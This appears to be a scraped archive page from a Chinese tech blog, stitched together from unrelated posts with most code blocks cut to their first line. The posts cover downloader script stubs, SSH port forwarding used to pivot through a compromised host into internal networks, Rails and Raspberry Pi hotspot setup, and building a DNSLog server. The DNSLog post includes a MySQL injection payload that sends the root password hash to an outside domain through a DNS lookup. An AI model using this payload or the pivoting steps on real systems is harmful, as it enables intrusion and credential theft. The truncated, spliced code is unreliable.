Downloader 1
1 | Set args = Wscript.Arguments |
Downloader 2
1 | <% |
Downloader 1
1 | Set args = Wscript.Arguments |
Downloader 2
1 | <% |
1 | set JAVA_HOME=C:\Program Files\Java\jdk1.8.0_40 |
使用Phantomjs访问网页并截图
1 | var page = require('webpage').create(); |
example.png

Phantomjs已经接近废弃,如今推荐使用google的headless技术。
1 | @echo off |
在很多时候拿到了内网的一台主机,我们需要用它做跳板来对内网进一步扩大战果。
也许方法很多,meterpreter,nc等等。但是最方便也最有可能穿透防火墙的方法,就是用ssh。
分为四种类型:
本地转发,远程转发,跳板转发,动态转发。
本地转发
假设攻击机A主机为本机,ip是y.y.y.y,用户是hacker,被攻击且用作跳板的主机是B,ip是
x.x.x.x,对应的内网ip是10.0.0.2,用户是root,ssh的端口是22。
假设B机器上的80端口开放了一个服务,但是只有B主机本机上才能访问,这时候可以使用本地转
发,在A机器上执行命令:
1 | ssh -L 8080:localhost:80 [email protected] |
这样,在本机A中访问localhost:80,数据被转发到B主机的80端口,即实现了访问B机器的本地
服务。
很常见的一个实例就是攻击者拿下了某目标内部的网关服务器,但是出于安全考虑网管的web控
制台界面只有在网关服务器自身上才能访问,这时候就可以通过这种方式转发流量,方便的操作
网关服务器的web控制台了。
上面的情况,是基于A主机可以ssh到B的情况,但假如从A到B的ssh连接被拒绝,而恰好B主机的
防火墙没有禁止其使用ssh外连,这时候就可以通过远程转发来实现上述同样的效果。
在B机器上执行命令:
1 | ssh -R 8080:localhost80 [email protected] |
这时候在A机器上访问自身的8080端口,数据也是被转发到了B主机的80端口上的。
可见,这种方式受到的局限比较多,因为如果能够在B主机上使用ssh外连了,还需要通过ssh来
转发流量的情况也是很少见的,但也不是没有。
以上两种转发,都是只对跳板服务器自身的服务,很多时候,渗透需要的是内网中一台稳定的跳板,
这时候就可以使用
跳板转发来实现多主机之间转发。
假设现在需要通过B主机作为跳板,来访问与B处于同一内网中的机器C的80端口,假设C的ip是
10.0.0.3,这时候可以在攻击机上执行如下命令:
1 | ssh -g -L 8080:10.0.0.3:80 [email protected] |
此时在A主机上8080端口的流量就被转发到C主机的80端口上了。
最有用的就是最后要介绍的,
动态转发,这种转发可以将流量随心所欲的转发,此时实现的效果就相当于代理服务器,在A机器
上用下面的命令实现:
1 | ssh -D 8080 [email protected] |
此时在A机器上配置SOCKS代理端口localhost:8080,就可以以B为代理服务器随心所欲的畅游。
最后补充使用ssh进行X转发的命令,其实很简单:
1 | ssh -X [email protected] |
这样连接上以后,目标机器的X服务器所做的操作都会通过x协议发送到本地,很方便的实现了可
视化操作。
例如在终端输入firefox,就可以在本地弹出一个实际上运行在远程的firefox进程。
Get System Info
1 | @echo off |
Get Task List
1 | '''''''''''''''''''''''''''''''''''' |
步骤如下
1 | gem sources --add https://ruby.taobao.org/ --remove https://rubygems.org/ |
之后:
1 | gem install rails |
如果是win10,选择 DevKit-mingw64-64-4.7.2-20130224-1432-sfx.exe 这个版本。
然后运行,并选择解压到c:\devkit
进入c:\devkit目录
运行
ruby dk.rb init
之后修改config.yml
添加下面三行
1 | --- |
注意把路径换成当前ruby的安装路径,-前后各有一个空格不可忽略。
然后运行
ruby dk.rb install
最后进入需要建立工程的目录,使用如下命令新建rails项目
rails new testapp
如果在此过程中报错,则进入testapp中
使用
bundler install
来安装所需要的依赖包。
如果还报错,修改testapp目录中的Gemfile
将第一行的sources源内容改为
source 'https://ruby.taobao.org/'
然后再执行bundler install命令
假设你已经安装好ruby了
接下来安装rvm
$ curl -L https://get.rvm.io | bash -s stable
某些情况下,可能需要编译一下rvm的初始化脚本
我的位置是在/etc/profile.d/rvm.sh,所以运行这一句:
$source /etc/profile.d/rvm.sh
接着安装bundler
gem install bundler
然后安装rails
gem install rails
如果这地方出现错误,尝试使用rvm切换ruby的版本:
rvm install 2.0.0
rvm 2.0.0 --default
1 | curl -L https://get.rvm.io | bash -s stable |
创建项目
1 | rails new BootstrapProject |
创建模型
1 | rails g scaffold xxx --skip-stylesheets |
运行迁移
1 | rake db:migrate |
如果项目和模型都已经建立好了并已经运行了迁移,那么可以省略以上步骤,直接进入下面的流程
在Gemfile中添加bootstrap,这里使用twitter-bootstrap-rails
1 | gem 'jquery-rails' |
bundle
1 | bundle install |
安装bootstrap
1 | rails g bootstrap:install |
在模型上运用bootstrap
1 | rails g bootstrap:themed xxx -f |
注:xxx可以是任意的模型,例如模型名称是Article,那么这里的语句就是:
1 | rails g bootstrap:themed Articles |
还要在application.js中加上引用,否则bootstrap的一些按钮会失效:
1 | //= require jquery |
Enjoy it~
最近手上多了一个树莓派2代,于是折腾就这么开始了。
因为总是得要个显示屏或者路由器或者插根网线才能玩,有点麻烦,所以有了此文。
设备清单:
树莓派2代
EDUP EP-N8508GS无线网卡(USB)
普通网线一根
最终实现的效果是树莓派的有线网卡用来作为wan口,无线网卡建立热点
笔记本可以通过连接wifi连接上树莓派进行操作
下面说说过程:
首先我参考了
http://elinux.org/RPI-Wireless-Hotspot
这篇文章中的方法,但是并没有成功。后来看到文章的末尾才知道,是驱动对不上号,文章末尾明确标明默认的hostapd程序不支持rtl8188系列网卡,而我的usb网卡就是rtl8188cus系列。
所以在开始之前,建议先用lsusb命令看一下网卡的型号再考虑进行下一步。
如果你的网卡不是rtl8188系列那你可以参考上面文章中的方法来配置,如果是那么可以参考我的方法。
根据那篇文章最后给出的连接,找到了这个驱动:
https://github.com/lostincynicism/hostapd-rtl8188
然而当编译好驱动重新运行之后仍然是不行,还是不支持。
最后还是参考了这篇文章:
http://wangye.org/blog/archives/845/?_t_t_t=0.7382462719884554
原因可能就是因为我这个系列网卡比较特殊。但是最后在这个文章中发现了编译好的第三方驱动,虽然有点不满意,但还是凑合着用了。
http://www.daveconroy.com/turn-your-raspberry-pi-into-a-wifi-hotspot-with-edimax-nano-usb-ew-7811un-rtl8188cus-chipset/
具体步骤:
先切换为root用户,可以省去很多不必要的麻烦。
所以以下操作都是以root用户:
1.安装hostapd和udhcpd服务并且更换hostapd程序
apt-get install udhcpd hostapd
wget http://www.daveconroy.com/wp3/wp-content/uploads/2013/07/hostapd.zip
unzip hostapd.zip
mv /usr/sbin/hostapd /usr/sbin/hostapd.bak
mv hostapd /usr/sbin/hostapd.edimax
ln -sf /usr/sbin/hostapd.edimax /usr/sbin/hostapd
chown root.root /usr/sbin/hostapd
chmod 755 /usr/sbin/hostapd
2.编辑/etc/udhcpd.conf文件,配置dhcp服务:
确保文件当中有下列内容
start 192.168.1.2
end 192.168.1.254
interface wlan0
remaining yes
opt dns 223.5.5.5 223.6.6.6
opt subnet 255.255.255.0
opt router 192.168.1.1
opt lease 864000 #
相信一般都能看懂,其中的interface需要根据情况来写。
3.编辑/etc/default/udhcpd 文件,将下面这行注释掉。
DHCPD_ENABLED="no"
4.将无线网卡wlan0的ip设为192.168.1.1
ifconfig wlan0 192.168.42.1
5.修改/etc/network/interfaces文件,添加下面的内容
iface wlan0 inet static
address 192.168.1.1
netmask 255.255.255.0
并且将下面这两条注释掉
wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet manual
6.接着就正式开始配置无线相关的选项了,编辑/etc/hostapd/hostapd.conf,如果没有这个文件就自行创建它。
interface=wlan0
driver=rtl871xdrv
ssid=无线名称
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=无线密码
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
7.在/etc/default/hostapd文件中指定hostapd服务的配置文件,内容如下
DAEMON_CONF="/etc/hostapd/hostapd.conf"
8.更改系统的转发规则和iptables规则,依次运行下列命令:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
iptables-save > /etc/iptables.nat
service hostapd start
service udhcpd start
update-rc.d hostapd enable
update-rc.d udhcpd enable
9.最后一点点收尾工作:
编辑/etc/network/interfaces文件,在末尾加上着一条:
up iptables-restore < /etc/iptables.nat
以及/etc/sysctl.conf文件,确保下面的选项存在
net.ipv4.ip_forward=1
到此为止就全部完成了,用手机,电脑等无线设备都可以连接上树莓派了。
为后续的折腾打下基础。
折腾的整个过程还挺复杂的,需要修改多处文件,而且每一处修改都会微妙的影响到最后路由器的运行,小小的改变都有可能造成瘫痪或者影响性能。由此可见,想DIY一款高性能的个性无线路由器还是很有挑战性的。
DNSLog,简单来说,就是通过记录对于域名的DNS请求,通过dns请求这个相对“隐蔽”的渠道,来委婉地获取到想要获得的信息。
例如,在一个针对mysql数据库的注入中,如果没有回显,可能很多时候就要歇菜。
但如果对方的数据库服务器连接公网并且是Windows机器的话,就可以用这种姿势来获取信息:
1 | SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM user WHERE user='root' LIMIT 1),'.nogan.ga\\xxx')) |
你将会看到类似:
当然你可能会说直接用http协议传输不就好了吗,确实http协议也可以,但是http协议毕竟有局限的地方,例如容易被防火墙限制等。
而dns作为一种基础协议有时候并不会被随便禁用,一些内网当中对于DNS协议的管控和检测是个薄弱的点,相对http来说DNS协议也更加隐蔽。
近几年DNSLog被尤其广泛地运用于无回显的SQL注入、命令执行、XML实体注入等漏洞的检测当中,算是一门很基础的老技术了。
关于DNSLog的具体应用,这里就不多说了,感兴趣的可以进一步阅读以下文章:
1 | https://www.anquanke.com/post/id/98096 |
那么如何低成本搭建dnslog服务器?接下来就来简要分享一个低成本构建DNSLog服务的方法。
(1) 一台低成本的VPS:这里推荐使用某国外的便宜VPS,完整root权限,单核512MB/10GSSD,¥128/年,购买链接在文章最后
(2) 一个可以接收邮件的邮箱:用来注册免费域名
首先到 https://freenom.com 注册用户,同时注册一个免费的域名
以我这里为例,注册一个nogan.ga
注册的时候,在DNS选项中,选择使用自己的DNS,新建DNS服务器的地址,例如我这里自定义了两个dns服务器,分别是
ns0.nogan.ga和ns1.nogan.ga,并且将他们的地址指向我的VPS服务器。
点击Continue,进入到结算页面。
如果你上一步没有注册用户,那么可以直接在这里填你用来注册用户的邮箱,然后根据指引进行操作。
如果注册了用户,只需要直接登录就可以了。
进入到Review and Checkout页面,填入一些你的基本信息就可以了
这里记得勾选Lock profile,你的信息就不会被whois查询到了。
接着下一步,勾选Complate Order,域名就注册成功了。
登录你的VPS服务器,运行下面这个python脚本,将在你的VPS主机监听UDP 53端口,并且回复DNS响应包:
记得修改IP地址和NS域名,在最后。
1 | #!/usr/bin/env python |
将上面的ns0.nogan.ga和ns1.nogan.ga改成你的域名,并且将x.x.x.x改成你的VPS服务器地址。
如果你在搭建DNSLog的同时还想顺便搭建一个网站的话,可以添加一个www记录,指向你的web服务器地址。
星号是将任意地址执行127.0.0.1,这样你的DNSLog请求记录,都会被默认解析到127.0.0.1。
接着在服务器上运行
1 | python dns.py |
在任意机器上面ping xxxxx.YOURDOMAIN:
可以在VPS上观察到请求已经过来了
但这个时候程序是一直在控制台运行的,想要退出怎么办呢,用nohup将程序改为背景运行:
想要关闭的话,先查看端口并获取进程号,然后kill即可:
Enjoy it~
附:
搬瓦工VPS优惠地址 (推荐 $19.99/年,约合RMB¥128):
https://bandwagonhost.com/cart.php
可能要扶梯 = =
Update your browser to view this website correctly. Update my browser now